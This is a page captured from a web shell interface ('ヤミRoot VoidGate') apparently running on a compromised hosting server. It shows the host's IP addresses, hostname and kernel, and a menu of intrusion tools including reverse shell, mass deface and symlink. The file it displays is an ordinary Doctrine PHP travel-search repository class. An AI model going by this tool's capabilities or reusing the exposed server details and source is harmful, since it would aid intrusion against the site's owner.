ヤミRoot VoidGate
User / IP
:
216.73.216.211
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
api
/
src
/
AppBundle
/
Repository
/
Viewing: TravelRepository.php
<?php namespace AppBundle\Repository; /** * TravelRepository * * This class was generated by the Doctrine ORM. Add your own custom * repository methods below. */ use Doctrine\ORM\QueryBuilder; class TravelRepository extends \Doctrine\ORM\EntityRepository { public function search($depart, $dest, $direction ='true', $maxCost, $company, $agency, $hour, $date, $standingName) { $qb = $this ->createQueryBuilder('t') ->innerJoin('t.travelConfig', 'tc') ->addSelect('tc'); $this->filterOnLineStanding( $qb, $depart, $dest, $direction, $maxCost, $standingName); if($date){ $this->filterOnTravelDay($qb, $date); } $travels = $qb ->getQuery() ->getResult(); if( $depart && $direction!='false') $travels = $this->filterResultOnStartPoint( $travels, $depart); return $travels; } /** * Apply this function before displaying the search result. * This will remove travel not starting at the right endpoint. */ private function filterResultOnStartPoint( $travels, $depart){ foreach($travels as $travel) { $tc = $travel->getTravelConfig(); if( $tc->getStartPoint() == 1 && $tc->getLineStanding()->getLine()->getFirstEndpoint()!= $depart) { $travels = $this->remove_array_item($travels, $travel); } if( $tc->getStartPoint() == 2 && $tc->getLineStanding()->getLine()->getSecondEndpoint()!= $depart) { $travels = $this->remove_array_item($travels, $travel); } } return array_values ($travels); } /** * Apply this filter is the query string 'date' is set */ private function filterOnTravelDay(QueryBuilder $qb, $dateStr){ $qb->andWhere('t.travelDay >= :date') ->setParameter('date', $dateStr); } private function filterOnLineStanding(QueryBuilder $qb, $depart, $dest, $direction, $maxCost, $standingName){ if( in_array('tc', $qb->getAllAliases()) ){ $condDepart = '(l.firstEndpoint = :depart OR l.secondEndpoint = :depart)'; $condDest = '(l.firstEndpoint = :dest OR l.secondEndpoint = :dest)'; $condStand = 's.name = :standingName'; $condCost = 'lStand.sitCost <= :maxCost'; $condWithLine = ''; $condWithStanding = ''; $condWithLineStanding = $condCost; $paramArray = array(); if($maxCost){ $qb ->innerJoin('tc.lineStanding', 'lStand', 'WITH', $condWithLineStanding ) ->addSelect('lStand'); $paramArray[':maxCost'] = $maxCost; }else { $qb ->innerJoin('tc.lineStanding', 'lStand') ->addSelect('lStand'); } if($dest){ $condWithLine = $condDest; $paramArray[':dest'] = $dest; } if($depart){ if($dest) $condWithLine = $condDepart.' AND '. $condDest; else $condWithLine = $condDepart; $paramArray[':depart'] = $depart; } if($standingName){ $condWithStanding = 's.name = :standingName'; $paramArray[':standingName'] = $standingName; } $qb ->innerJoin('lStand.line', 'l', 'WITH' , $condWithLine) ->addSelect('l') ->innerJoin('lStand.standing', 's','WITH', $condWithStanding) ->addSelect('s'); foreach($paramArray as $key => $value){ $qb->setParameter($key, $value); } } } /** * Removes an intem in an array */ private function remove_array_item( $array, $item ) { $index = array_search($item, $array); if ( $index !== false ) { unset( $array[$index] ); } return $array; } }
Coded With 💗 by
0x6ick